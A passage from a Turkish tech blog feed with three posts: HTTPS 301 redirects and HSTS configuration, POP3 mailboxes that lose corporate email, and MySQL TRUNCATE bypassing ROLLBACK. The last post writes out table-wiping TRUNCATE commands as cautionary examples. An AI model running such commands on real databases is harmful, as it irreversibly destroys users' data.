<h3>1. Arama Motoru İnfazı: Duplicate Content (Mükerrer İçerik)</h3>
<p>Googlebot veya Bingbot gibi tarayıcı indeksleme örümcekleri protokol farkını katı bir şekilde algılar. Onlar için <code>http://example.com/urun/12</code> ile <code>https://example.com/urun/12</code> aynı sayfa değildir; iki ayrı kaynaktır.</p>
<p>Eğer 301 yönlendirmesi yoksa:</p>
<ol>
<li><strong>İç Bağlantı Çatışması:</strong> Sitenin eski şablonlarında, veritabanında veya harici geri bağlantılarda (backlink) <code>http://</code> kalmışsa, örümcek her iki sürümü de ayrı ayrı tarar.</li>
<li><strong>PageRank Dağılması:</strong> Alan adınızın edindiği otorite puanı (link equity) iki protokol arasında yarı yarıya bölünür.</li>
<li><strong>Mükerrer İçerik Cezası:</strong> Arama motoru aynı metin ve HTML yapısına sahip iki farklı URL gördüğünde, sitenizi "içerik kopyalayan" veya "kanonik otoritesi belirsiz" bir sistem olarak sınıflandırır ve arama sonuçlarında her iki sürümü de geriye iter.</li>
</ol>
<h3>2. Güvenlik İllüzyonu ve Man-in-the-Middle (MitM)</h3>
<p>Bir e-ticaret veya kurumsal portal düşünün. Giriş sayfasında SSL sertifikası vardır. Ancak kullanıcı adres çubuğuna sadece <code>firma.com</code> yazıp Enter'a bastığında, varsayılan olarak tarayıcılar <code>http://firma.com</code> isteği atar (eğer HSTS ön yükleme listesinde değilseniz).</p>
<p>Eğer sunucunuz 80 portunu doğrudan yanıtlıyorsa, kullanıcı bir kafede açık Wi-Fi ağındayken bir saldırgan (ARP Spoofing veya DNS Hijacking ile) trafiği araya girip yakalayabilir:</p>
<ul>
<li>Kullanıcıya şifresiz HTTP sürümünü sunmaya devam eder (SSL Stripping saldırısı).</li>
<li>Kullanıcı giriş yaptığında şifreler, oturum çerezleri (session tokens) ve kişisel veriler açık metin olarak saldırganın eline geçer.</li>
<li>Sistem yöneticisi ise sunucu loglarında HTTPS trafiğini izleyip sistemin korunduğunu zanneder.</li>
</ul>
<hr>
<h2>Nginx ve Apache Üzerinde Klinik Müdahale</h2>
<p>Bu patolojiyi ortadan kaldırmak karmaşık bir mimari gerektirmez; ancak kuralın eksiksiz ve atomik yazılması şarttır.</p>
<h3>Nginx İçin Doğru Reçete</h3>
<p>Birçok acemi sistem yöneticisi Nginx yapılandırmasında <code>if ($scheme = http)</code> bloğu kullanır. Nginx mimarisinde <code>if</code> direktifleri performans maliyeti ve beklenmedik yan etkiler doğurur (<code>If is Evil</code>). Doğru yaklaşım, 80 numaralı port için bağımsız bir sunucu bloğu (server block) açıp tüm trafiği kesin bir 301 ile HTTPS'e postalamaktır.</p>
<pre><code class="language-nginx"># /etc/nginx/sites-available/example.com.conf

# Port 80: Yalnızca HTTP trafiğini dinler ve 301 ile fırlatır
server {
    listen 80;
    listen [::]:80;
    server_name example.com www.example.com;

    # Let's Encrypt ACME challenge için istisna (isteğe bağlı)
    location /.well-known/acme-challenge/ {
        root /var/www/certbot;
    }

    # Tüm istekleri kesin 301 kalıcı yönlendirmesiyle HTTPS'e aktar
    location / {
        return 301 https://$host$request_uri;
    }
}

# Port 443: Güvenli ve asıl uygulamanın çalıştığı blok
server {
    listen 443 ssl http2;
    listen [::]:443 ssl http2;
    server_name example.com www.example.com;

    ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;

    # Modern TLS parametreleri
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers HIGH:!aNULL:!MD5;

    # HSTS: Tarayıcıya bir sonraki isteklerde HTTP'yi tamamen unutmasını emreder
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

    root /var/www/example.com/public;
    index index.html index.php;

    location / {
        try_files $uri $uri/ /index.php?$query_string;
    }

    location ~ \.php$ {
        include fastcgi_params;
        fastcgi_pass unix:/run/php/php8.2-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    }
}
</code></pre>
<h3>Apache İçin <code>.htaccess</code> Reçetesi</h3>
<p>Apache kullanan paylaşımlı hosting veya VPS ortamlarında <code>mod_rewrite</code> modülü aktif edilmeli ve yönlendirme <code>.htaccess</code> dosyasının en tepesine, diğer tüm kurallardan önce eklenmelidir:</p>
<pre><code class="language-apache">&#x3C;IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
&#x3C;/IfModule>

# HSTS Güvenlik Başlığı
&#x3C;IfModule mod_headers.c>
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
&#x3C;/IfModule>
</code></pre>
<hr>
<h2>302 Değil, Neden Israrla 301?</h2>
<p>Bazen yazılımcıların yönlendirmeyi kod tarafında <code>header("Location: https://...");</code> şeklinde yazdığı ve varsayılan olarak HTTP durum kodu belirtmedikleri görülür. Çoğu framework veya dil varsayılan olarak <code>302 Found</code> (geçici yönlendirme) döner.</p>
<p>Klinik açıdan <code>301</code> ile <code>302</code> arasındaki fark hayatidir:</p>
<ul>
<li><strong>302 (Geçici):</strong> Arama motoruna "Ben şimdilik buradayım ama eski HTTP adresim hala geçerli, indeksini silme" mesajı verir. Arama motoru eski indeksi hafızasında tutmaya devam eder; link gücü yeni adrese aktarılmaz.</li>
<li><strong>301 (Kalıcı):</strong> Arama motoruna "HTTP artık öldü, mezarı burasıdır, tüm itibarını ve geçmişini kalıcı olarak HTTPS adresine taşı" der. Botlar eski adresi arşivden çıkarır ve tüm otoriteyi güvenli URL'ye aktarır.</li>
</ul>
<h2>HSTS (HTTP Strict Transport Security): Kapıyı Çift Kilitlemek</h2>
<p>Yönlendirme yapmak ilk adımdır; ancak kullanıcının ilk isteği hala HTTP üzerinden gider. Araya giren bir saldırganın bu ilk isteği bozmasını engellemek için <strong>HSTS</strong> devreye sokulmalıdır.</p>
<p>HSTS başlığı alan bir tarayıcı, belirtilen süre (<code>max-age</code>) boyunca kullanıcı adresi <code>http://</code> olarak yazsa bile ağa çıkmadan önce yerel olarak isteği <code>https://</code> protokolüne çevirir. Bu, açık yaranın üzerine antibakteriyel bariyer çekmek gibidir.</p>
<h2>Sonuç</h2>
<p>Bir sunucuya TLS sertifikası kurmak, ameliyathaneye steril masa getirmekten ibarettir. Masanın üzerinde ameliyat yapabilmeniz için hastayı ve ekibi o steril alana taşımalı, sokaktaki tozlu koridorları mühürlemelisiniz.</p>
<p>HTTP trafiğini 301 ile HTTPS'e zorunlu kılmayan her web projesi; güvenlik açısından açık bir kapı, arama motoru optimizasyonu açısından ise kendi ayağına sıkan bir mükerrer içerik fabrikasıdır. Altyapınızı yarım bırakmayın; güvenli tüneli bir seçenek değil, kaçınılmaz bir kural haline getirin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>SSL</category>
            <category>HTTPS</category>
            <category>SEO</category>
            <category>Nginx</category>
            <category>Apache</category>
            <category>301 Redirect</category>
            <category>Güvenlik</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/ssl-sertifikasi-alip-http---https-301-yonlendirmesini-unutmak/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[E-Posta Kutusunu 'POP3' Kurup PST Dosyasını Bozan Kurumsal Müşteri]]></title>
            <link>http://localhost:3000/blog/post/e-posta-kutusunu-pop3-kurup-pst-dosyasini-bozan-kurumsal-musteri</link>
            <guid>e-posta-kutusunu-pop3-kurup-pst-dosyasini-bozan-kurumsal-musteri</guid>
            <pubDate>Sun, 01 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Outlook'u POP3 protokolüyle kurup sunucudaki tüm mailleri silerek yerel PST dosyasına çeken ve disk bozulunca hosting firmasını mahkemeye vermekle tehdit eden kurumsal müşterinin anatomisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/e-posta-kutusunu-pop3-kurup-pst-dosyasini-bozan-kurumsal-musteri/thumbnail" alt=""> Kan merkezlerinde saklanan kan ve plazma torbaları, -80 derecedeki yedekli kriyojenik dolaplarda, kesintisiz güç kaynaklarına bağlı ve 7/24 sıcaklık sensörleriyle izlenen sistemlerde tutulur. Bu merkezi altyapı, acil bir cerrahi vakada ihtiyaç duyulacak en hayati stoğu hayatta tutmak için tasarlanmıştır. Şimdi bir hekimin ya da klinik çalışanının çıktığını düşünün; "Hastanenin dolabına güvenmiyorum, ben bu 50 torba nadir kanı alıp evdeki ikinci el buzdolabıma koyacağım" dediğini hayal edin. Kan torbalarını alıp evindeki buzdolabına koyar, hastanedeki kayıtları ve stokları da "yer kalmasın" diye siler. Üç ay sonra mahallede trafo patlayıp elektrikler kesildiğinde ve evdeki buzdolabı arızalandığında tüm kanlar pıhtılaşıp bozulur. Hekim ise ertesi sabah kan merkezine koşup "Siz benim kanlarımı çaldınız, hastalarım ölecek, sizi Sağlık Bakanlığı'na şikayet edeceğim!" diye bağırır.</p>
<p>Web barındırma ve sistem destek departmanlarında her ay en az bir kez yaşanan "POP3 ve bozuk PST trajedisi", bu akıl almaz senaryonun kurumsal bilişimdeki kusursuz karşılığıdır.</p>
<hr>
<h2>1980'lerin Mirası: POP3 vs. IMAP</h2>
<p>Bu krizin temelinde, internetin ilk dönemlerine ait bir protokolün günümüz modern çalışma kültürüne bilinçsizce uygulanması yatar.</p>
<pre><code>+-------------------------------------------------------------------------+
|                               IMAP                                      |
|  [Sunucu] &#x3C;=================== Senkronize ==================> [İstemci] |
|  - E-postalar sunucuda yaşar.                                           |
|  - Telefonda okunan mail bilgisayarda da okunur görünür.                |
|  - Bilgisayar denize düşse bile veriler sunucuda güvendedir.            |
+-------------------------------------------------------------------------+

+-------------------------------------------------------------------------+
|                               POP3                                      |
|  [Sunucu] ---------------> [İndir ve Sunucudan Sil] -------> [Yerel PST]|
|  - E-postalar yerel bilgisayara indirilir.                              |
|  - Sunucudaki kopyalar genellikle anında imha edilir.                   |
|  - Yerel sabit disk bozulduğu an şirketin 10 yıllık hafızası yok olur.  |
+-------------------------------------------------------------------------+
</code></pre>
<p>1988 yılında geliştirilen <strong>POP3 (Post Office Protocol v3)</strong>, disk alanlarının megabaytlarla ölçüldüğü, internet bağlantısının çevirmeli ağ (dial-up) üzerinden dakikası ücretlendirilerek sağlandığı bir çağ için tasarlanmıştı:</p>
<ol>
<li>İstemci sunucuya bağlanır.</li>
<li>Gelen kutusundaki e-postaları bilgisayara indirir.</li>
<li>Sunucu üzerindeki e-postaları kalıcı olarak siler (<code>DELE</code> komutu).</li>
<li>Bağlantıyı kapatır; kullanıcı maillerini çevrimdışı (offline) okur.</li>
</ol>
<p>Oysa modern standart olan <strong>IMAP (Internet Message Access Protocol)</strong>, e-postaların tek ve mutlak kaynağının sunucu olduğunu kabul eder. Telefonunuz, tabletiniz, webmail arayüzünüz ve dizüstü bilgisayarınız sunucudaki aynı posta kutusuna pencereler açar. Bir yerde silinen mail her yerde silinir; bir yerde gönderilen mail sunucu arşivine yazılır.</p>
<p>Ancak Türkiye'deki birçok kurumsal kullanıcı, "Sunucuda kota dolmasın, sınırsız arşivim olsun" ya da 2004 yılından kalma alışkanlıklarla çalışan mahalle bilgisayarcısının tavsiyesiyle Microsoft Outlook kurulumunda POP3 seçeneğini tıklar. Üstelik "İletinin bir kopyasını sunucuda bırak" onay kutusunu da kaldırmıştır.</p>
<hr>
<h2>Patolojinin Gelişimi: 49.9 GB'lık Saatli Bomba</h2>
<p>Outlook, POP3 ile çekilen e-postaları yerel işletim sisteminde tek bir monolitik veritabanı dosyasında toplar: <code>outlook.pst</code>.</p>
<p>Bu dosya zamanla büyür. Şirketin muhasebe müdürü, genel müdür yardımcısı veya satın alma sorumlusu; 10 yıldır gelen tüm Word, Excel, taranmış fatura eklerini bu tek dosyanın içine istifler.</p>
<ol>
<li><strong>Boyut Sınırına Dayanma:</strong> Eski Outlook sürümlerinde PST dosyası için 20 GB, yenilerinde 50 GB sınırı vardır. Dosya 48 GB'a ulaştığında her e-posta alma işlemi dosya sisteminde devasa I/O bloklarının kilitlenmesine sebep olur.</li>
<li><strong>Parçalanma (Fragmentation) ve Bozulma:</strong> Kullanıcının bilgisayarı bir gün aniden elektrik kesintisiyle kapanır, Windows mavi ekran verir veya laptop çantaya konurken uyku moduna geçmeden pil biter.</li>
<li><strong>PST Başlık Hasarı (Header Corruption):</strong> Açık kalan dosya tanıtıcısı (file descriptor) yüzünden PST dosyasının B-Tree dizin yapısı bozulur.</li>
<li><strong>Klinik Ölüm:</strong> Sabah Outlook açıldığında meşhur hata ekrana düşer:<br>
<code>"Outlook.pst dosyasına erişilemiyor. Dosya hatalar içeriyor. Gelen Kutusu Onarım Aracı'nı (Scanpst.exe) çalıştırın."</code></li>
</ol>
<p>Bu aşamada kullanıcının yerel bilgisayarında şirketin son 8 yıllık faturaları, sözleşmeleri ve müşteri yazışmaları kilitlenmiştir.</p>
<hr>
<h2>İnkâr ve Saldırı Fazı: "Hosting Firması Maillerimi Sildi!"</h2>
<p>Panikleyen kurumsal kullanıcı hemen telefonuna sarılır veya yüksek öncelikli bir destek bileti açar:</p>
<blockquote>
<p><em>"Acil! Şirketimizin tüm mailleri bir gecede silindi! Sunucunuz çöktü mü? Milyonluk ihalelerimiz var, 10 yıllık maillerimizi geri getirin yoksa avukatlarımızı devreye sokuyoruz!"</em></p>
</blockquote>
<p>Hosting destek uzmanı sunucu loglarını ve cPanel/Plesk posta dizinini açar:</p>
<pre><code class="language-bash"># Sunucu tarafında posta dizininin boyutu
du -sh /home/firma/mail/firma.com.tr/muhasebe/
# Çıktı: 4.0K (Dizin bomboş!)
</code></pre>
<p>Sunucu posta kutusu tertemizdir; çünkü son 5 yıldır kullanıcı her sabah mesaiye başladığında Outlook POP3 istemcisi sunucuya <code>RETR</code> komutlarıyla bağlanmış, ardından sunucudaki her bir mail için acımasızca <code>DELE</code> komutunu fırlatmıştır.</p>
<pre><code class="language-text"># Exim / Dovecot Logları:
2026-02-01 08:30:12 pop3-login: Login: user=&#x3C;muhasebe@firma.com.tr>, method=PLAIN, rip=88.245.xx.xx
2026-02-01 08:30:15 pop3(muhasebe@firma.com.tr): Disconnected: Deleted 142 messages, retr=142
</code></pre>
<p>Destek ekibi durumu izah eder:<br>
<em>"Beyefendi, hesabınızı POP3 olarak kurmuşsunuz. E-postalarınız sunucuda tutulmuyor; Outlook her bağlandığında sunucudan indirip kendi bilgisayarınıza kaydetmiş ve sunucudan silmiş. Sunucumuzda hiçbir e-postanız yok."</em></p>
<p>Kullanıcının yanıtı genelde teknik cehaletin getirdiği saf öfkedir:<br>
<em>"Ben anlamam POP3 mop3! Ben size her ay para ödüyorum, benim maillerimi tutmak zorundasınız! Yedeğiniz yok mu sizin?!"</em></p>
<p>Sunucu günlük yedek almaktadır; evet. Ancak sunucu yedeği gece saat 03:00'te çalışır. Kullanıcı ise gündüz 08:30'da mailleri bilgisayarına çekip sunucudan sildiği için, gece 03:00'teki yedekleme robotu o hesabı her zaman boş bir kutu olarak görür ve boş kutuyu yedekler. Olmayan verinin yedeği alınamaz.</p>
<hr>
<h2>Scanpst.exe: Masada Kalan Hastayı Canlandırma Çabası</h2>
<p>Kullanıcı çaresiz kaldığında Microsoft'un yerleşik onarım aracı olan <code>scanpst.exe</code> çalıştırılır. Ancak 45 GB boyutunda ve diskin bozuk sektörlerine (bad sector) denk gelmiş bir PST dosyasını onarmak, paramparça olmuş bir kemiği alçıya alıp hemen maratona koşmasını beklemeye benzer.</p>
<ul>
<li>Çoğu zaman tarama saatlerce sürer ve %80 seviyesinde kilitlenir.</li>
<li>Araç başarıyla tamamlansa bile, e-postaların ekleri uçmuş, karakter kodlamaları (UTF-8) bozulmuş ve klasör hiyerarşisi <code>Lost and Found</code> (Kayıp Eşya) klasörüne dökülmüş bir yığın kalır.</li>
<li>Eğer yerel bilgisayarda bir SSD arızası veya fidye yazılımı (Ransomware) varsa, veri geri dönüşsüz olarak imha olmuştur.</li>
</ul>
<hr>
<h2>Kurumsal Teşhis ve Doğru Mimari</h2>
<p>Bir kurumun operasyonel hafızasını tek bir personelin dizüstü bilgisayarındaki 50 GB'lık kırılgan bir dosyaya emanet etmesi affedilemez bir yönetim kusurudur.</p>
<ol>
<li><strong>POP3 Protokolü Sunucu Düzeyinde Kapatılmalıdır:</strong><br>
Kurumsal e-posta hizmeti veren sunucularda Dovecot/Courier üzerinde POP3 portları (110 ve 995) kapatılmalı veya şirket ilkelerinde yasaklanmalıdır. Kullanıcılar zorunlu olarak IMAP protokolüne geçirilmelidir.</li>
<li><strong>Merkezi Posta Kotaları ve Bulut Arşivleme:</strong><br>
"Kullanıcının kotası dolmasın" diye POP3'e yönlendirmek yerine; IMAP kotaları artırılmalı veya Exchange Online / Google Workspace / kurumsal Mailstore arşivleme çözümleri kullanılmalıdır.</li>
<li><strong>Uç Nokta Yedeklemesi (Endpoint Backup):</strong><br>
Eğer kaçınılmaz olarak yerel PST kullanımı varsa, personelin <code>Documents/Outlook Files</code> dizini Veeam Agent, Acronis veya kurumsal bir yedekleme ajanı ile her gün farklı bir NAS/bulut hedefine snapshot olarak kopyalanmalıdır.</li>
</ol>
<h2>Sonuç</h2>
<p>Kan torbalarını hastaneden çıkarıp evdeki mini dolaba dolduran bir hekim sorumsuzluğunun bedelini meslekten men edilerek öder. Şirketin 10 yıllık ticari hafızasını POP3 ile yerel diske indirip, o disk çöktüğünde hosting sağlayıcısını suçlayan zihniyet de bilişim dünyasının en tehlikeli sorumluluk inkârıdır.</p>
<p>Veri nerede yaşıyorsa güvenlik ve yedeklilik orada sağlanır. Tek bir diske hapsedilmiş veriler bir varlık değil, patlamayı bekleyen bir krizdir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>POP3</category>
            <category>IMAP</category>
            <category>Outlook</category>
            <category>PST</category>
            <category>E-Posta</category>
            <category>Veri Kaybı</category>
            <category>Hosting</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/e-posta-kutusunu-pop3-kurup-pst-dosyasini-bozan-kurumsal-musteri/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Geliştiricinin Veritabanına TRUNCATE Atıp 'Rollback' Beklemesi]]></title>
            <link>http://localhost:3000/blog/post/gelistiricinin-veritabanina-truncate-atip-rollback-beklemesi</link>
            <guid>gelistiricinin-veritabanina-truncate-atip-rollback-beklemesi</guid>
            <pubDate>Sat, 31 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Canlı veritabanında START TRANSACTION dedikten sonra TRUNCATE çalıştıran ve DDL komutlarının örtük commit (implicit commit) tetiklediğini acı yoldan öğrenen geliştiricinin anatomisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/gelistiricinin-veritabanina-truncate-atip-rollback-beklemesi/thumbnail" alt=""> Cerrahi operasyon sırasında cerrahın dokuları geçici olarak kenara çekmesi, kanamayı kontrol etmek için damara hemostatik pens (klemp) koyması ve gerekirse pensi gevşetip dokunun canlılığını test etmesi standart bir prosedürdür. Bu, geri alınabilir bir eylemdir. Pens açıldığında dolaşım kaldığı yerden devam eder; dokuya kalıcı bir hasar verilmemiştir. Ancak cerrah pens takmak yerine bistüriyi alıp ana femoral arteri kökünden keser ve organı masadan aşağı atarsa, ardından anestezi uzmanına dönüp "Tansiyon düştü, kestiğim bacağı geri yerine kaynatalım, işlemi geri alıyoruz" derse bu artık cerrahi bir müdahale değil, cinai bir bilgisizliktir. Biyolojide kesilen uzuv bir parmak şıklatmasıyla geri yerine dikilemez.</p>
<p>İlişkisel veritabanı yönetim sistemlerinde (RDBMS) <code>DELETE</code> ile <code>TRUNCATE</code> arasındaki fark tam olarak bu cerrahi sınırda yatar. Yazılımcının terminalde <code>START TRANSACTION;</code> yazıp arkasına yaslanarak <code>TRUNCATE TABLE users;</code> komutunu çalıştırması ve ardından "Nasılsa işlem (transaction) açtım, beğenmezsem <code>ROLLBACK;</code> der kurtulurum" yanılgısına düşmesi, veritabanı mühendisliğinin en acımasız soğuk duşlarından biridir.</p>
<hr>
<h2>DML vs. DDL: Mantıksal Silme ile Fiziksel İmha</h2>
<p>İlişkisel veritabanlarında komutlar rastgele kategorize edilmez. SQL dünyası iki temel eylem kümesine ayrılır:</p>
<ol>
<li><strong>DML (Data Manipulation Language):</strong> <code>INSERT</code>, <code>UPDATE</code>, <code>DELETE</code>. Tablonun yapısına dokunmaz; tablonun içindeki satır kayıtlarını işler.</li>
<li><strong>DDL (Data Definition Language):</strong> <code>CREATE</code>, <code>ALTER</code>, <code>DROP</code>, <code>TRUNCATE</code>. Veritabanı şemasını, nesne tanımlarını ve fiziksel dosya yapılarını doğrudan manipüle eder.</li>
</ol>
<pre><code>+-------------------------------------------------------------------------+
|                  TRANSACTION İÇİNDE DELETE (DML)                        |
|                                                                         |
|  START TRANSACTION;                                                     |
|  DELETE FROM siparisler WHERE durum = 'iptal';                          |
|  --> Undo Log'a yazılır, satırlar silinmiş olarak işaretlenir.          |
|  ROLLBACK;                                                              |
|  --> Undo Log okunur, satırlar geri getirilir. Hasar: 0.                |
+-------------------------------------------------------------------------+

+-------------------------------------------------------------------------+
|                  TRANSACTION İÇİNDE TRUNCATE (DDL - MySQL)              |
|                                                                         |
|  START TRANSACTION;                                                     |
|  TRUNCATE TABLE siparisler;                                             |
|  --> DDL algılandı! Mevcut işlem ÖRTÜK OLARAK COMMİT EDİLDİ!            |
|  --> Tablo fiziksel olarak DROP edilip yeniden CREATE edildi.           |
|  --> Undo Log tutulmadı, veri blokları işletim sistemine iade edildi.   |
|  ROLLBACK;                                                              |
|  --> MySQL Güler: "Neyi geri alayım? Transaction çoktan bitti!"         |
+-------------------------------------------------------------------------+
</code></pre>
<h3>MySQL ve MariaDB'de "Örtük Commit" (Implicit Commit) Tuzağı</h3>
<p>MySQL (özellikle InnoDB motoru) çalışırken bir transaction bloğunun içindeyken bir DDL komutu görürse standart SQL davranışını askıya alır. MySQL mimarisi, tablo yapısını değiştiren veya depolama motoru düzeyinde sıfırlama yapan komutların atomik transaction içinde tutulmasına izin vermez.</p>
<p>Geliştirici şu komutları sırayla girdiğinde ne olur?</p>
<pre><code class="language-sql">-- Geliştiricinin zihnindeki hayal dünyası:
START TRANSACTION;
SELECT COUNT(*) FROM uyeler; -- 1.500.000 kayıt

-- "Sadece test amaçlı tabloyu boşaltıyorum, transaction korumam var"
TRUNCATE TABLE uyeler;

-- Hata fark edildi! Tablo canlı ortamdaymış!
ROLLBACK;
</code></pre>
<p>Oysa MySQL motorunun arka planda icra ettiği gerçek senaryo şudur:</p>
<ol>
<li><code>START TRANSACTION;</code> çalışır, aktif transaction başlatılır.</li>
<li><code>TRUNCATE TABLE uyeler;</code> komutu geldiği anda MySQL motoru bir DDL tespit eder. Motor hemen içsel bir <code>COMMIT</code> fırlatır! O ana kadar açık olan tüm DML işlemleri kalıcı olarak diske yazılır ve transaction kapatılır.</li>
<li>Tablo işletim sistemi düzeyinde fiziksel olarak düşürülür (<code>DROP TABLE</code>) ve aynı şemayla boş bir <code>.ibd</code> dosyası sıfırdan oluşturulur (<code>CREATE TABLE</code>). Satır satır silme yapılmadığı için InnoDB <code>undo log</code> (geri alma kütüğü) üretmez!</li>
<li>Geliştirici panik içinde <code>ROLLBACK;</code> yazdığında, MySQL yanıt verir: <code>Query OK, 0 rows affected</code>. Çünkü geri alınacak aktif bir transaction kalmamıştır; transaction 2. adımda sessizce commit edilmiş ve ölmüştür.</li>
</ol>
<p>Tablodaki 1.5 milyon üye kaydı, şifre hash'leri ve profil bilgileri buharlaşmıştır.</p>
<hr>
<h2>"Ama PostgreSQL'de Rollback Yapılabiliyordu?!"</h2>
<p>Bu hataya düşen geliştiricilerin önemli bir kısmı savunma olarak şunu söyler: <em>"Ben lokal ortamımda PostgreSQL kullanıyordum, orada TRUNCATE rollback oluyordu!"</em></p>
<p>Evet; PostgreSQL'in gelişmiş MVCC (Multi-Version Concurrency Control) ve WAL (Write-Ahead Logging) mimarisi DDL komutlarının birçoğunu (ve <code>TRUNCATE</code> işlemini) bir transaction bloğu içinde izole edebilir. PostgreSQL'de <code>BEGIN; TRUNCATE users; ROLLBACK;</code> dediğinizde tablo geri gelir; çünkü PostgreSQL yeni bir heap dosyası tahsis eder ve rollback durumunda eski dosya tanıtıcısını korur.</p>
<p>Fakat Türkiye'deki web projelerinin ezici çoğunluğu MySQL veya MariaDB üzerinde koşar. İki veritabanı motorunun mimari felsefesini bilmeden komut çalıştırmak, ambulans şoförünün dizel araca benzin doldurup "Ama diğer araba gidiyordu" demesine benzer. Her motorun iç organları farklı çalışır.</p>
<hr>
<h2>DELETE ile TRUNCATE Arasındaki Yaşamsal Farklar</h2>
<p>Klinik karar anında bu iki komutun mekanik sonuçlarını bilmek zorundasınız:</p>
<table>
<thead>
<tr>
<th align="left">Parametre</th>
<th align="left"><code>DELETE FROM table;</code></th>
<th align="left"><code>TRUNCATE TABLE table;</code></th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><strong>Kategori</strong></td>
<td align="left">DML (Veri Manipülasyonu)</td>
<td align="left">DDL (Veri Tanımlama)</td>
</tr>
<tr>
<td align="left"><strong>İşlem Mantığı</strong></td>
<td align="left">Satır satır siler, her satırı kütüğe yazar.</td>
<td align="left">Tabloyu sıfırdan yeniden oluşturur.</td>
</tr>
<tr>
<td align="left"><strong>İşlem Kaydı (Undo Log)</strong></td>
<td align="left">Çok büyüktür; her satır için geri alma bilgisi saklar.</td>
<td align="left">Yoktur; geri alma bilgisi tutulmaz.</td>
</tr>
<tr>
<td align="left"><strong>Hız</strong></td>
<td align="left">10 milyon satırda dakikalar sürer, diski boğar.</td>
<td align="left">Mikrosaniyeler içinde biter (anında döner).</td>
</tr>
<tr>
<td align="left"><strong>Auto-Increment Sayacı</strong></td>
<td align="left">Sayacı sıfırlamaz; kaldığı ID'den devam eder.</td>
<td align="left">Sayacı <code>1</code>e sıfırlar.</td>
</tr>
<tr>
<td align="left"><strong>Tetikleyiciler (Triggers)</strong></td>
<td align="left"><code>ON DELETE</code> tetikleyicilerini tek tek çalıştırır.</td>
<td align="left">Tetikleyicileri tamamen atlar, çalıştırmaz.</td>
</tr>
<tr>
<td align="left"><strong>Transaction Güvenliği</strong></td>
<td align="left">Güvenle <code>ROLLBACK</code> edilebilir.</td>
<td align="left">MySQL'de <strong>Örtük Commit</strong> yapar; geri alınamaz!</td>
</tr>
</tbody>
</table>
<p><code>TRUNCATE</code> bir neşter değil, nükleer silahtır. Neşter satır satır keserken <code>TRUNCATE</code> tüm binayı yıkıp yerine aynı renkte boş bir bina diker.</p>
<hr>
<h2>Gece 02:00 Felaket Yönetimi: Masadaki Hastayı Kurtarmak</h2>
<p>Canlı veritabanında sehven <code>TRUNCATE</code> çalıştırıldığında geliştiricinin soğuk terler dökerek destek ekibine yazdığı o meşhur mesaj gelir: <em>"Veritabanında küçük bir senkronizasyon sorunu oldu, son 15 dakikalık yedeği dönebilir miyiz?"</em></p>
<p>Eğer kurumsal bir veri kurtarma prosedürünüz yoksa, o an şirket için saatlik ciro kaybı başlar:</p>
<ol>
<li><strong>Gecelik Snapshot'a Geri Dönüş (RPO Kaybı):</strong><br>
Eğer Point-in-Time Recovery (PITR) altyapınız yoksa dönebileceğiniz tek şey gece 03:00'te alınan günlük yedektir. Bu da bugünün tüm siparişlerinin, ödemelerinin ve müşteri kayıtlarının kalıcı olarak yok olması demektir.</li>
<li><strong>Binlog (Binary Log) ile Noktasal Kurtarma (PITR):</strong><br>
Eğer sunucunuzda MySQL Binary Log aktifse (<code>log_bin = ON</code>), kurtarma mümkündür:
<ul>
<li>Önce gece alınan tam yedek (mysqldump / xtrabackup) izole bir test sunucusuna açılır.</li>
<li>Ardından <code>mysqlbinlog</code> aracıyla o günkü binlog dosyaları taranır:</li>
</ul>
<pre><code class="language-bash">mysqlbinlog --base64-output=DECODE-ROWS -v /var/log/mysql/binlog.000142 \
  | grep -B 5 -A 2 "TRUNCATE TABLE"
</code></pre>
<ul>
<li><code>TRUNCATE</code> komutunun düştüğü tam pozisyon (<code>stop-position</code>) tespit edilir.</li>
<li>Yedek sunucuya tam o pozisyona kadar olan tüm işlemler yeniden oynatılır (<code>--stop-position=1849204</code>).</li>
<li>Tablo dışa aktarılıp canlı ortama enjekte edilir.</li>
</ul>
</li>
</ol>
<p>Bu operasyon en az 3-4 saatlik planlanmamış bir kesinti ve şirketin yönetim kuruluna verilecek utanç verici bir savunma demektir.</p>
<hr>
<h2>Sistemsel Tedavi ve Önleyici Protokoller</h2>
<p>Canlı sistemlerde insan hatasını "dikkatli olarak" engelleyemezsiniz. İnsan yorulur, dikkati dağılır, yanlış terminal sekmesinde <code>Enter</code>a basar. Koruma mimaride olmalıdır:</p>
<ol>
<li><strong>Kullanıcı Yetkilerini Sınırlandırın (Principle of Least Privilege):</strong><br>
Uygulamanın veya geliştiricilerin kullandığı veritabanı kullanıcılarına ASLA <code>DROP</code> veya <code>TRUNCATE</code> yetkisi vermeyin. Canlı ortam kullanıcısının yetkisi sadece <code>SELECT, INSERT, UPDATE, DELETE</code> olmalıdır. Şema değişiklikleri yalnızca CI/CD pipeline'ları üzerinden denetlenmiş migration araçlarıyla yapılmalıdır.</li>
<li><strong>Production Veritabanına Doğrudan Bağlantıyı Yasaklayın:</strong><br>
Geliştiricilerin masaüstündeki DBeaver, Navicat veya DataGrip ile canlı veritabanına doğrudan <code>root</code> yetkisiyle bağlanması bir operasyonel intihardır. Canlı veritabanı sadece VPC içinden ve read-only kopyalar üzerinden sorgulanmalıdır.</li>
<li><strong>Safe Updates Modunu Zorunlu Kılın:</strong><br>
